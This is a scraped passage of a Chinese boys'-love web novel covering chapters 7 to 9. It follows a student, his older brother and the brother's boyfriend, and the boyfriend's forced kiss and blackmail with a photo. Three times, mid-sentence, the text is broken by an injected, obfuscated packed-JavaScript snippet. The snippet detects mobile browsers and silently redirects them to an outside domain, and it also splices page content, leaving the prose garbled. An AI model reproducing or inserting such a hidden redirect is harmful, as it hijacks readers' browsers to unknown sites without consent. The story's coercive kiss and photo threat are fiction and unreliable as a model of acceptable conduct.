他拍拍胸口顺气,左右搜寻孙维,想从他那得到认同,“是吧孙维,杨岸还是第一次这么大声音讲话,奇奇怪怪的,不过你在哪呢?” “你要不要回头看一下呢?” 孙维被他压在门上,表情扭曲,“你先把你的脚挪开,行吗?” 后面两个字是他从牙齿里挤出来的,听得出来,恨意深厚。 程揽星憋笑,“我可以友情提供活血化瘀的药。” 黄一佪往前跳开一大步,扭头见孙维表情痛苦,身体摇摇欲坠,忙过去扶着他,“嗨呀,我就说让你不要把胸肌练得这么硬吧,我都没发现背后靠着的是人。” “你、还、有、理、了。” 最后,黄一佪在挨打中边流泪边给程揽星和孙维擦了药。 7. 雨天 这些天天气一直不太好,阴雨一阵接着一阵,有时还会伴着吹进骨子里的冷风。除了上课、考试和必要的外出,大家都不愿意出去受这个苦,当然,处于热恋期的小情侣不包含在大家这个范围里。 程揽星最近有一门太极拳要结课,他在宿舍里练习了几次,黄一佪还特意给他录了个视频,说要拿去戏剧社用。 孙维嘲讽他,“你们社只演西方歌剧,什么时候用得上太极拳了?” 黄一佪给视频配了个BGM,“这你就不懂了吧,美人有奇效。” 杨岸偷偷给他发微信,问他能不能发自己一份。 到了考试那天,有人在群里发了张天气预报的截图,暗示今天还会继续下雨,但老师没发话,谁都拿不准要不要出门。 窗外时不时恶作剧般掉落几滴雨,将要形成雨势时倏忽停下,就是不给他们一个痛快。群里有人耐不住,问了老师几次考试地点,变来变去最后拍板在体育馆里进行。 程揽星看时间差不多了,拿了把伞出门,今天这样的天气,不能抱有侥幸心理,谁知道下一秒会不会突然倾盆大雨。 到体育馆后,老师让他们照之前上课时的分组,和搭档商量一下,选一个人过来抽签。 装有考试序号纸的箱子通体呈大红色,正面上写有“抽签箱”三个烫金大字,底部斑驳的漆料和箱子折合处的毛边表明了它的年代久远。 等等,毛边? 程揽星把手伸进去,内里不太平坦的触感解答了他的疑惑。 学长,原来你真的是纸箱子。 太极拳老师是个虽然和蔼,但同时又十分古板的人,做风正派,对待有关课程的事认真得有些固执。 这样的发现,让他对老师的认识有了些改变。 程揽星和他的搭档李哲第四个上场。 第三组的考试进行到一半时,两人各自检查了一下自己的着装,又互相帮忙看了看,等确定不会发生什么影响考试的意外后,第三组的考核也结束了。 两人站在场地中间摆好姿势,等着老师说开始。 起势时,程揽星总感觉有一道目光一直在盯着自己,不是四周同学们单纯的看客目光,也不是老师那种客观评审的目光,而是那种,怎么说呢,硬要形容的话,类似于要把他扒光的目光? 总之,让人不是很舒服。 他敛起心神,专注于眼前的考试。要是失误的话,他们就要来第二次了。 好在两人最终顺顺利利地结束了考核。 离下课还有一段时间,这时候去吃饭又早了点,李哲提议一起去打几局羽毛球。 程揽星思索片刻,答应了他。正好活动一下身体,这段时间光窝在宿舍里打太极拳了。 两人拿上背包,并肩朝羽毛球场那边走,准备去拿球拍和球。行至中途,李哲不知看到了什么,激动地拉住程揽星,嚷嚷着要去篮球场那边。 “不打羽毛球了?” “等会再打也行,我看到苏学长他们了,过去打个招呼。” 从他们这边看过去,篮球场那边乌泱泱一大群人,一眼望过去全是人头,不知道李哲是如何注意到他学长的。 “你去吧,我在这等你。” “陪我去嘛,反正你在这等着也无聊。” 程揽星兴趣缺缺,但看李哲这么激动,还是任由他拉着自己过去了。 等到了地方,场上刚好结束比赛。 一旁观赛的人还在激动地讨论刚才的赛况,空气里都是刚才交战间满溢的激情和热血。 “我操,苏神牛逼啊,最后一球扭转局势。” “不愧是苏哥,依然稳定发挥。” “帅死了啊啊啊啊!!!” “……” 耳边充斥着对所谓苏哥的夸赞声,间或夹杂着另一队支持者的骂声,让程揽星都不禁有些好奇这个苏哥到底是何方神圣。 李哲带着他蛇形走位,好不容易突破重围,挤进了内场。两队的人气对比明显,白队那边叠了大堆的人,马上还要叠上程揽星和李哲,而红队那边,队员们三三两两站在一起,面向白队这边,眼神或愤恨、或嫉妒。 李哲想带着他在这困难程度升级了好几个度的包围下挤进去,实在不是件容易的事,他个子不大,但显然在缝隙小得只容风吹过的人墙下,他的一切挣扎都是无用功。程揽星本来也无意过来,这会便放空脑袋,思考等会打完羽毛球去吃什么。 程揽星不急,但不代表李哲不急,他提着嗓子,大喊一声“苏学长”。 他是如愿了,但程揽星想找个洞,把自己埋进去,顺便扒拉点土,盖在自己头上。 这下好了,四周的目光全聚到两人身上。 李哲全然感觉不到四周的目光,兴奋地踮起脚尖朝前方挥手,甚至企图拉程揽星一起。 他怕学长看不到他。 程揽星挥开他的手,遮遮掩掩地躲在背包后。 处在人墙中心的苏学长扭头,李哲的手挥得更欢快了。苏学长嘴角的弧度在看到他身边的人后,向上扬了些,他和身边人说了几句话,便朝这边走来,人群分开一条道,程揽星听到动静看过去,抬手挡了挡眼睛,好像有什么奇怪地亮晶晶的东西出现。 “学长!” “逸轩哥?” 虽然之前就听程知谨提起过,苏逸轩也在t大,但在学校遇到他,这还是第一次,这让程揽星不禁有种不真实感。 两人的声音一同响起,李哲看看他,又看看苏逸轩,他的疑惑溢于言表。 他抬手安抚性地拍了拍李哲,李哲收回目光,没多过问,这是两人这个学期搭档练就的默契。 “怎么了?” 苏逸轩在两人面前站定,目光在程揽星那绕了一圈,落在李哲身上。 “我们刚在那边考试,恰好看到学长你在这边,想着过来打个招呼。” 李哲用手指了指两人考试的场地,太极拳老师正在扒拉他头上为数不多的几根头发,似乎很为面前学生的表现而忧心,那两人挤着笑,小心翼翼地凑到老师面前。 程揽星的思维跟着发散,忍不住笑出声。 两人的目光落在他身上,程揽星眨眨眼,正色道:“不用管我。” “考得怎么样?” 苏逸轩的这句话却是同时问两人了,他看着程揽星,为他的不专心感到些许不快。 李哲积极回答,“我俩姿势可标准,动作行云流水,加上我俩配合的好,打分应该还是很不错的。” 程揽星笑道:“就知道吹牛,最后收尾都有失误好吧……” 他注意到有人朝这边走来,来人穿着同苏逸轩一样的篮球服,“逸轩哥,你队友来找你了。” 苏逸轩回头看去,和队友对上信号,走了几步,又转回来,“等我一会。” 两人点头应好。 等苏逸轩走了,李哲转身面向程揽星,心底的好奇彻底压不住了,“你俩怎么认识的?你们也不是一个学院的啊。” 程揽星斟酌了一下用词,“他是我哥的朋友。” 李哲恍然大悟,“难怪你叫他逸轩哥。” “我们还去打羽毛球吗?离下课没多少时间了。” 程揽星往苏逸轩的方向看了一眼,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540815|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和队友似乎有事情要谈,一时半会应该过不来。 “要不不打了吧,学长让我们等他一会呢。”李哲眨眨眼,试图卖萌。 程揽星闭上眼睛,感觉大脑被污染了。 两人等了十分钟左右,苏逸轩才和队友谈完,他朝这边走来,身旁跟着一大堆人。 “走吧,一起去吃饭。” 苏逸轩对两人招招手,其他人表情不见异样,看来刚刚就谈论过这件事。 程揽星凑近李哲,在他耳边低声道:“我不太想去,你去吗?” 李哲死死抱住程揽星的胳膊,“我去,你也要陪我去。” “……” 一行人走到体育馆门口,才发现外面下了大雨。 又一窝蜂涌向导引台,登记名字和联系方式,把体育馆的伞全给借走了。 可伞的数量还是不够,只能两人甚至是三人打一把伞。 “你带伞了吗?” 李哲还死死地抱着程揽星的胳膊,仰起的脸上满是愚蠢的天真。 “你把手放开,我拿伞。” 李哲这才放开,“星星,我就知道你会带,呜呜呜太让人安心了,好想把你娶回家。” “滚。” “不用,我和他一起走。” 两人正准备朝体育馆外走,一道磁性的嗓音在身后响起,有人朝前快走了几步,紧接着一只手揽上程揽星的肩膀。 他扭头看向右边,苏逸轩微低头看他,脸上挂着笑,“我和你一起走,好不好?” 程揽星愣了愣,完全没想到苏逸轩会过来,“但是我的伞有点小,三个人可能挤不下。” 苏逸轩微用了点劲,程揽星顺着力道侧身,下一秒感觉到肩上重了些,苏逸轩的头发擦过他的脖子,右侧脸颊跟着沾染了他说话时的鼻息,“我和揽星一起走,你可以和他用一把伞。” 他指了指左侧的一个寸头男生,伞内两人两脸懵。 李哲也在状况外,只知道顺着他的话点头,走向那俩人。 程揽星皱眉,不太高兴,但他还是按捺住情绪,问道:“你是有什么事找我吗?” 苏逸轩站直身体,恰好顶到伞面,他拿过程揽星的伞,换到左手撑着。这把伞不算大,程揽星和李哲一起时才堪堪能遮住两人,苏逸轩的身量大一些,不断有雨打在他的右手臂上。 “没事啊,为什么这么问?” “那你为什么要和我一起走?” 苏逸轩脸上的笑容淡下来,又变成他标志性的冷笑,“怎么?和自己男朋友的弟弟一起走很奇怪吗?” 程揽星不明白他怎么突然不高兴了,但还是认真回答问题,“不奇怪,但我朋友因为你的一时兴起,而不得不和陌生人一起走,这点很奇怪。” 苏逸轩挑眉,语气嘲讽,“没想到你还挺在乎他。” 程揽星本来就不太高兴他强行挤进来,这会又被他冷嘲热讽,不想理他,索性不再回话。 苏逸轩心里堵着气,说话时的语气自然刺人,但他没想到程揽星比他还能生气,他扭头看枯萎的草,看光秃秃的树、看着空气发呆,就是不愿意正眼看自己,心里的那团火也越滚越大。眼见着程揽星的一只胳膊快要挪到伞外淋雨了,他一把揽过程揽星,把人往自己怀里带。 “闹什么别扭,你就这么想淋雨?” 程揽星挣扎了几下,发现挣脱不开,泄了力,脸颊鼓起,“我没闹别扭,也没打算淋雨,你放开我。” 他的头顶传来一声冷哼,后背紧挨着的胸腔阵阵鼓动,声音透过他的耳膜,直颤到心底。 “那你就好好走。” 8. 三人 秋老虎的威力依旧,泥巴路被烤得外焦里嫩,前不久才掺进土里的细雨,全被高温收了回去。 程湾小学里,独一座孤零零的两层教学楼立在操场旁,前不久因年久失修而倒塌的泥巴墙厕所处,临时搭建了两个茅草房。 校长坐在用木板隔挡出来的办公室里直发愁,再往冬了走,这茅草房四面迎风,不说冬天那风刮几下,茅草房就没了,就是再过一个多月,脱了裤子不一会就把屁股蛋冻紫了,这些小娃儿们也受不住。 办公室旁的三年级教室里,窗外路过的微风轻抚青翠稻谷腰肢,拨开没有关紧的窗户溜进闹哄哄的教室,融入因为舍不得离家而串串掉落的眼泪中。 昨天光荣晋升为三年级小学生的程揽星刚刚和同桌打了一架,两人趴在桌上,誓死捍卫自己的领土。 两张小脸因为吵架憋得通红,即使脖子酸痛,也要紧紧地盯着对方,不知哪来的默契,都认为谁先把头转回去谁就输了。 “是你的手先超线了。” “明明是你的橡皮先过来的。” 在一片哭声中,两人没注意到上课铃已经敲响,自然也没发现老师进了教室,周边的哭声慢慢低下去。 “程揽星赖皮狗。” “我反弹。” “哼,我告老师。” “哼,告就告,不告是小狗。” “……” “程揽星,程旭,你们俩上来。” 两个小学生的三八线之战在被老师喊上讲台后,被迫宣布结束。 此次战役没有赢家。 两人面对面抱着对方,在老师的监督下,不情不愿地说自己做错了,给对方道歉。 讲台下爆发出一片哄笑声,一直哭到现在的小朋友,抽抽噎噎地跟着大家一起笑,想家的情绪淡了不少。 程揽星眼睛斜向一边,不肯看他此刻在世界上最讨厌的人,“对不起,我不该在你手上画王……乌龟。” 程旭也跟着赌气,眼睛快翻成斗鸡眼,“对不起,我不该在你背后贴字条。” “什么字条?” 老师赶忙出声阻止,“好了,既然两位同学都认识到了自己的错误,那以后就不能再打架了,当然,也不能吵架。同学间要和睦共处,记住了吗?” 两位同学嘴巴撅得老高,小脑袋还是乖乖地点了点头。 等到程揽星在程旭座位旁捡到那张画着猪头并配字“我是一只主”的字条后,程旭早已拎上书包溜回家了。 程揽星气得在他名字标签那又画了只王八。 但自这两败俱伤的一战后,两人别别扭扭地相处,碰碰撞撞间关系反倒越来越好了。 程揽星回家后提起同桌的次数越来越多,从前是分享在课堂上学到了什么或是和同学们玩了什么游戏,现在则是分享同桌好坏,同桌好笨,同桌人其实还挺好,同桌有好多好玩的想法……而在这一连串态度变化明显的分享中,程知谨的脸色也越来越冷。 程知谨手上锅铲不停,心里想的却是找个时间去看看这个所谓的好同桌。 于是某次放学,程知谨和程旭勾肩搭背地走出校园时,就见前方十米处,已成为程湾村村标的那棵百年歪脖子槐树下,程知谨一手勾着书包,一手插兜,眉头紧锁,表情严肃,十足冷酷,现下正从一群矮矮的萝卜头中找他的那只小刺猬。 小刺猬脚步一顿,矮萝卜头不解,扭头问他怎么了,小刺猬脸上的笑没了,握紧书包带子,朝他哥走去。 程知谨的目光落在小刺猬先前被矮萝卜头搭过的肩膀上,脸一沉,不高兴地牵过程揽星。 但他现在已经是成熟的初中生了,所以不会找矮萝卜头麻烦。 矮萝卜头咧嘴,笑得傻兮兮地,“哥哥好,我是程旭,哥哥你好帅呀,星星一点也没夸张哎。” 程揽星感觉牵他手的力道大了些,扭头看他哥,刚才围绕在程知瑾身旁的可怕冷空气全消失了,他哥嘴角勾起了个像素点。 小学生程揽星叹了口气,哎,哥哥好难懂哦。 此刻,程揽星看着站在他宿舍楼门前,手中夹着一支已燃一半烟的程知谨,却不太合适宜地想起了三年级时,和程旭勾肩搭背走出校门,却恰好撞见他哥的场景。 嗯,此景和彼景怎么有那么点微妙的相似之处呢? 不过他可没和苏逸轩勾肩搭背。 “哥,你怎么来了?” 从体育馆去校外,有一条路会途径程揽星的宿舍,但众人走的那条路途径图书馆,与宿舍还有一段距离,程揽星本来想自己一个人回宿舍放东西,然后再去校外和他们汇合。但当时雨没停,且有越来越大的趋势,他没办法丢下苏逸轩。 这里没有多余的伞。 不过犹豫几秒,程揽星抛开那点小情绪,提出要回宿舍放东西,苏逸轩闻言点了点头,说自己和他一起去。 程知谨走近几步,隔着雨幕和程揽星对望,他将手中的烟掉转了个,猩红的烟头在掌心摁灭,刺痛感能让他保持冷静。 “来这边谈合作,顺道过来看看你。” 他的上半身衣服有被雨淋过的痕迹,此时已半干,只留下浅浅的印子,平时打理得一丝不苟的头发垂落下来,搭在额头上,显得有些狼狈。 两人看向站在台阶上的人时,因为地势的缘故,需要微仰着头,昏黄的灯光打在程知瑾的脸上,给他冷硬的五官平添了些许寂寥。 苏逸轩放平视线,声音里不含情绪,仿佛只是单纯为了问个问题,“等这么久就为了看一眼?” 程揽星也看到了他衣服上的湿痕,头发上还带有潮气,心头涌上愧疚感,“哥,你怎么不给我发消息呀。” 程知谨将头发拨弄了几下,露出眉眼,“你不是在考试吗,我不想打扰你。” 顿了顿,又补充了句。 “别担心,我没等多久。” “那也可以给我发消息的,我很早就考完了,能提前回来的。” 雨势比刚出体育馆时更大了些,打在台阶上,溅开的水花打湿了三人的裤腿。程揽星想再往里走一点,见苏逸轩不动,只好开口提醒,“我们再往里走一点吧,雨都溅到身上了。” 苏逸轩握着伞不知在想什么,眼睛看着程知谨,情绪明明灭灭,对程揽星的话半天没有反应。 宛如陷入水泥地般,周边凝起厚重到让人难以呼吸的沉滞雾气,与落下的雨,溅起的泥混杂成一团,在苏逸轩的脑中翻绞。 程知谨皱眉,想把程揽星牵过来,他脱下外套,没有刚来时那般湿,勉强能给程揽星挡会雨。 但程揽星先一步抬手戳了戳苏逸轩,“走不走?进去了再发呆呀。” 平时和朋友同学间随便惯了,程揽星没多想就做了这样的动作,做完才想起苏逸轩和他的朋友、同学们都不一样,顿时有点心虚。 苏逸轩表情怪异地扭头看了他一眼,但没说什么,倒是自然地揽上程揽星的肩膀,抬步往里走。 程知谨收回手,重新披上外套,目光落在他们身体相触的地方,待两人踏进屋檐下,立时拉过程揽星,却因他左肩上的阻力而没能成功。 “放开。” 雨伞落在地上,激起一阵涟漪。 一旁有人经过,好奇地张望几眼,又被两人间剑拔弩张的气氛逼退,嘀咕了几句,撑开伞快步走远了。 “我好像没有理由听你的话。” 两人暗自较劲,但苦的人可是程揽星。此时正值下课的时间点,远处涌来一片人海,不多时便会行至三人所站的地方,一想到等会将要接受多轮注目礼,程揽星的寒毛就已炸开。 拜托,小情侣闹别扭,怎么整成了争夺偶像剧女主角一般的戏码? “等一下,我要去宿舍放东西,你们都放开我。” 程揽星往宿舍楼里退,两人泄了劲,如此,他才得以轻松脱身。 刚好给他们创造点二人时间,希望这两人能好好解决一下彼此间的问题。 宿舍里只有杨岸一个人,他见程揽星回来了,眼睛亮了亮,有些忐忑地问道:“一起去吃饭吗?” 程揽星把背包放下,到孙维的座位旁拿了把伞,没想到有一天他无论买什么东西都喜欢囤积双数的习惯也能派上用场。 “抱歉啊,我和别人有约了。” 杨岸的表情黯淡下来,他抿抿唇,没有说出和谁一起这个问题,“好,我们下次再一起。” 程揽星点点头,“好啊”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540816|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我先出去了。” 程揽星估摸着他俩应该聊得差不多了,手机上李哲一直在发牢骚,让程揽星快去陪他。 他加快脚步,拐过楼梯转角,看见的画面却是一个望向屋檐外,神情淡漠,一个正在把玩雨伞,表情隐有不耐。 程揽星收起心中对两人和好的想法,才走近宿舍楼的大门,两人便一致看了过来,默契地仿佛提前排练过一般。 “哥,我们现在要去外面吃饭,你要回公司吗?” 程知谨摇头,“暂时不回,我先送你过去。” 这会的人流量大了些,三人都有一张出众的脸,即使站在角落处,也引来了许多或明或暗的目光。 程揽星巴不得快点走,他点头道:“那我们走吧。” 但有人不太配合,苏逸轩朝前走近几步,站在程揽星身侧,他把雨伞换至右手,“我和他一起去就行,你不是在谈合作吗?不用回公司汇报?” “事情已经办完了。” 苏逸轩以一种审视的目光看着他,手指细细抚摸过伞柄上的刮痕,他的语气,连同表情一起,都带着高高在上的俯视,“公司给你开工资,是让你创造价值,不是为了让你把时间浪费在无意义事情上。” “无意义事情?”程知谨轻嗤一声,“注意你的用词,苏逸轩,你最好搞清楚自己的立场,你有什么资格对我说这些话,不过是只张不开羽翼的笼中鸟。” 原先平和的假面被彻底打破,苏逸轩冷眼看着程知谨,若不是他还有些许理智,此刻就已经挥拳了。两人相识至今,程知谨最知道如何才能戳中他的痛处,他从前不说,是不屑于,而程知谨刚才的反应,让苏逸轩确定了他的软肋。 苏逸轩的话让程揽星有点不爽,让他忍不住怀疑这人是不是在借题发挥,要不是情况不允许,他还挺想给程知谨刚才的发挥喝彩。 他长呼出一口气,拦在两人中间,“你们还要吵吗?还要吵那我就先走了。” 他刚才拿的那把伞,本来是准备给他哥用的,这会正好自己用上了。 程知谨抿抿唇,不悦地看了苏逸轩一眼,他敛起表情,快走几步,“星星,我送你过去。” 苏逸轩冷哼一声,臭着脸撑开伞。 这会雨又大了,噼里啪啦地打在地上,成了伞与伞之间的天然屏障。 程揽星手撑着下巴想了一会,还是忍不住了,“哥,你是不是经常和逸轩哥吵架?” “没有。” 雨势变大后,两人间的距离越来越小,程知谨抬手,把程揽星揽入怀中,有雨顺着风砸在他的右手臂上,他皱了皱眉,把雨伞向右边倾斜,才干燥些许的外套又被打湿。 程揽星叹了口气,“你们俩这状态,一看就不正常,我又不是小孩子,你难道还想忽悠我,说你们是在尝试情侣的另一种相处模式吗?” 曾经还是小朋友的程揽星,没少被程知谨忽悠,骗他爸爸妈妈不是在吵架,是在辩论,只不过他们的嗓门本来就大,所以看起来才像是在吵架。 程知谨摸摸程揽星的头,语气郑重,“我和他之间的问题没那么简单,星星,你只要专注自己就可以了,我不希望你为这些事烦恼。” 程揽星点点头,“哥,我没有因为你们烦恼啦。但是哥快点和逸轩哥和好吧,我希望哥能开心点。” 蓝色伞面停在原地,周边来往人群也仿佛停滞了一般,只有从午时起就片刻不息的秋雨还在流动。程揽星的话如一颗石子掷入平静的湖面,让他的情绪有片刻的失控,“不开心?” 程揽星抬手,抚平程知谨额间的褶皱,“太明显了好吧,我一眼就能看出来,哼哼。” 说话时尾音上翘,掺杂着和他每次恶作剧成功时一般无二的得意。 程知谨从短暂的讶异中回过神来,他低笑两声,给出评价,“结论正确,但公式全错。” “啊?” 一旁突兀地插进来一道声音,“你俩和蜗牛比赛呢,能不能走快点?再磨叽别人饭都吃完了。” 苏逸轩的伞撞过两人的伞架,激起蓝黑两张伞面的雨珠,它们终是实现了从云层掉落下来的使命,砸向地面。 这场独幕剧闯入了另一个演员,而好戏,才要上演。 9. 强吻 今天是孙维的生日,加之四人即将陆续离校,宿舍商量了一下,准备去外面一起吃顿饭。 这学期,他们在外面聚过好几次,但都是在火锅店、烧烤摊或是饭馆,孙大款壮手一挥,说要带他们去醉花间见见世面。 醉花间的装修风格同它的名字一样,整体偏向古朴典雅,只顶层稍有不同。他们所在的楼层,又名听雨,初建时,老板大概是想营造出类似“沾衣欲湿杏花雨,吹面不寒杨柳风”般的氛围,花了大价钱造雨景,但奈何场地不允许,加之试行时总有大大小小的问题,所以最后只保留了这个名字。 现在的风格与“听雨”虽说不相干,但尚且还是能搭点边。从电梯出来后,入眼就是大厅正中间的那座小型假山,山顶引水而下,山腰内嵌一座凉亭,亭外栽了几棵杨柳,随风而动。 暴发户二代孙维也是第一次来这,从进门到点菜,一直强撑着面子装沉稳,等服务员走后,孙维忍不住长舒了口气,方才的沉稳劲全没了,他压着声音吐槽,“下次咱们还是去学校前面的小吃街吃烧烤吧,这里菜名花里胡哨的,点完了都不知道点了啥菜。” 几个大小伙都没来过这地方,全程跟在孙维后面,看他老道地和服务员交谈,都以为他经验很丰富,没想到只是个花架子,方才心里升起的那点陌生感一下子散了干净,笑作一团。 等了大概十分钟,服务员推着餐车过来上菜,几人等服务员出去后,对着摆放精致,但份量有点可怜的餐盘一阵沉默。 “应该很好吃吧?” “肯定很好吃,不然无法解释。” “我们下次还是去烧烤摊吃吧。” 孙维中途出去了一趟,他回来后,不一会又陆续上了许多甜点。 ———— 程揽星被空调吹得有点头晕,看了看桌上喝嗨的孙维等人,颇为无奈,只好和身旁唯一还清醒着的杨岸说自己要出去透透气。 “我和你一起去吧?” “不用,我又没喝多少,你在这看着他们吧。” 程揽星开门时,恰好有个服务员路过,他在服务员的指引下找了个阳台准备吹吹风,正打算进去,就听见里面有说话声传来。 “别在这里惺惺作态,要犯贱去其他地方。” “呜呜……你怎么能这样?我们昨天还好好的,你、你不是还夸我很软吗?” “呵,你觉得我是傅二那种蠢货吗?” 来这个地方用餐的人非富即贵,酒店的工作人员岗前都会进行培训,只在工作区域内活动,只做自己该做的事,除非客人开口要求,他们一般都不会越界。 有服务员经过,步履匆匆,目不斜视,全然听不到动静一般。 程揽星停下脚步,他无意探听他人的隐私,正打算转身再找个吹风的地方,一阵风吹过,撩动阳台上拓印了花鸟画的薄纱,鸟雀随风振翅欲飞,山茶花瓣缓缓绽放,而这一动,也让他看清了那两人的脸。 没想到还是认识的人。 程揽星走过去,在两人身后不远处观看这场泼天狗血戏,还不忘拿出手机准备随时拍下罪证。 大概是两人的初次见面不太愉快,苏逸轩对他的态度一直不怎么样。 一开始可能是误会,但在知道他是程知谨的弟弟后,程揽星觉得苏逸轩仍然不怎么喜欢自己,甚至可能是有点讨厌? 程揽星对此倒是无所谓,虽然他是哥哥的男朋友,但在自己主动示好后,他还是那样的态度,那自己也没必要热脸贴冷屁股。 所以程揽星平时见到的苏逸轩大多时候都是一张不耐烦的脸,他哥在的时候,可能会收敛一下,但也是面无表情或是一副别人欠他钱的脸。 现在的苏逸轩就是这幅样子,表情冷淡,带着点不耐。许是见自己怎么说苏逸轩的表情都没有变化,甚至隐有厌恶的情绪冒出来,那人着急地踮脚去亲他。 只不过还没碰到嘴唇,苏逸轩就察觉到了。 他推开身前的人,狠狠揍了那人一拳,用手匆匆擦了几下嘴角,嫌恶道:“滚,别让我再看到你。” 那人的脸色变得更加苍白,还想说什么,但在注意到前方程揽星那副看好戏的模样后,终于承受不住被这样羞辱,什么都没说就跑了。 这处阳台终于归于宁静,但很快便被再次打破。 “看够了吗?” 苏逸轩抬头,看向一旁靠在墙上、旁观了好一会的程揽星,他的脸颊微红,既有空调蒸出来的热气,也有他不断升腾的怒火,平日总是含笑的眼睛此时完全冷了下来,大概是有点热,大衣扣子解开了两颗,露出颈部白皙的皮肤。 “我哥知道吗?” 虽然这样问了,但程揽星认为他哥肯定是不知道的,不然不可能还继续和苏逸轩交往。 苏逸轩慢悠悠整理着刚才被弄乱的衣服,听到程揽星的问题,不屑地笑出声,“知道又如何?不知道又如何?” 程揽星听到苏逸轩嘲弄的话语,彻底压不住怒火,上前几步揪住苏逸轩胸前的衣服,他比苏逸轩矮了半个头,因而只能仰头看着他,这让程揽星有些挫败感。 气势上有点点输了。 “你这样对得起我哥吗?” 程揽星想到他哥这段时间因为和苏逸轩吵架而情绪不佳,心里的火气就更大了,恨不得现在就把苏逸轩带到他哥面前,让他们俩分手。 苏逸轩刚开始发现程揽星在这时,心底倒是有一丝慌乱一闪而过,不过只是一瞬间,很快他就恢复了平日里的样子,他不怕程揽星告诉他哥,反正他俩现在只是一对相当于同居室友的情侣,甚至都称不上同居。但是看到程揽星这么在乎他哥,又想到程知谨对这个弟弟的宝贝态度,心底里的邪火被彻底勾了出来,同时还伴着点说不清道不明的不甘心,想着怎么也要让这人受点教训。 更深层次的原因,大概是这段半年三人之间的相处,虽然为数不多,但却让他觉得,明明是程揽星这个第三人插入他和程知谨的生活,但现在自己却成了局外人。 这种局面让他觉得很不爽,既然他不爽了,那其他人也别想要舒舒服服的。 “那你这样就对得起你哥吗?” “你什么意……” 苏逸轩用手固定住程揽星的头,在他困惑的目光中,低头将程揽星未完全说出口的最后一个字吞入口中。 他借势将程揽星揽入自己怀中,抱着他退到薄纱后,程揽星还没完全回神,两只眼睛睁得圆圆的,像只受了惊的小兔子,牙齿也因为太过惊讶没有完全咬合,反而轻易就让苏逸轩的舌头攻城略池。 苏逸轩的行为完全出乎他的意料,大脑宕机片刻,他才反应过来这人做了什么。 程揽星立马挣扎起来,但先前他就体会过这人的力气,知道比自己大很多,现在的挣扎也只是无用功。并且,这人仗着他逃不开自己的禁锢,用右手将他的两只手反剪至身后,完全做不了反抗。 在这个时刻,程揽星突然想起两人第一次见面,苏逸轩说的那句话。 “看什么?听不懂。” 他恨恨地想,什么听不懂,这人装傻充愣玩得真溜。 程揽星余光里瞥见似乎有人朝这走过来,而这疯子完全没有放开他的打算,情急之下狠狠咬了他一口。 这一口实在有些狠,血腥味瞬间充斥两人的口腔。 “咳咳……” 程揽星才缓过来,就握紧拳头朝苏逸轩挥了过去。 “你是不是有病?” 苏逸轩被他打了一拳,刚降下去的火气又被挑起来,正想回击,就见程揽星脸上一片绯红,眼角也红红的,下嘴唇还破了道口子,一副被狠狠欺负过的样子。 接吻时那点微妙的愉悦如雨后春笋般,很快占据了他的大片心脏,逗弄程揽星的心思也跟着起来。 没想到一个临时起意的决定,竟让他发现了意外之喜。 看着眼前人还在不断升温的脸颊,苏逸轩抬手擦掉嘴上的血迹,被他揍过的地方牵动了嘴角的伤口,原先只流了小股的鲜血,现下已经染了他一手,顺着他骨节分明的手指缓慢爬向他的手腕。 这幅样子,配合着他的表情,看起来如同从地狱里爬出来的索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540817|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命鬼。 尤其是说出来的话,和恶鬼索命也差不多了。 “这不会是你的初吻吧?揽星弟弟。” 他甚至还故意在“初吻”两个字上停留了一会。 程揽星这下更加确定了这人脑子不太正常。 被自己抓到背着他哥乱搞也丝毫不慌乱,甚至还拉着自己、自己……算了,他就是个脑子不太正常的变态。 程揽星见苏逸轩又要靠近自己,吓得忙退后一大步,稍微把距离拉开后,才放下心来放狠话。 “你等着,回去就让我哥甩了你。” 程揽星放完狠话,不想再搭理这个神经病。 但他不搭理苏逸轩,不代表苏逸轩会放过他。 程揽星都已经走出阳台了,却听见苏逸轩慢悠悠道:“真的吗?那你也不介意我把我俩的吻照发给你哥吧?” 薄纱之后,苏逸轩势在必得的笑容映照在程揽星眼底,看着十分可恨。 程揽星停住步子,深呼吸好几个来回,才按压下和苏逸轩在这里打一架的冲动,平复好后,程揽星走过去和他交涉。 “删掉。” 苏逸轩拿出手机,把他俩嘴唇相贴的部分放大给程揽星看,“拍得这么好,为什么要删掉?” 苏逸轩的吻和他这人一样,虽然是临时起意的强吻,但他也不允许程揽星有丝毫的不专心,因而程揽星只能被动着回应。图片被放大的部分,甚至能清晰看见两人唇齿交缠的一角。 这样的行径,也就只有他能做出来。 程揽星夺过手机,迅速删掉照片,又退出去浏览相册里有没有漏掉的,回收站也没有放过。 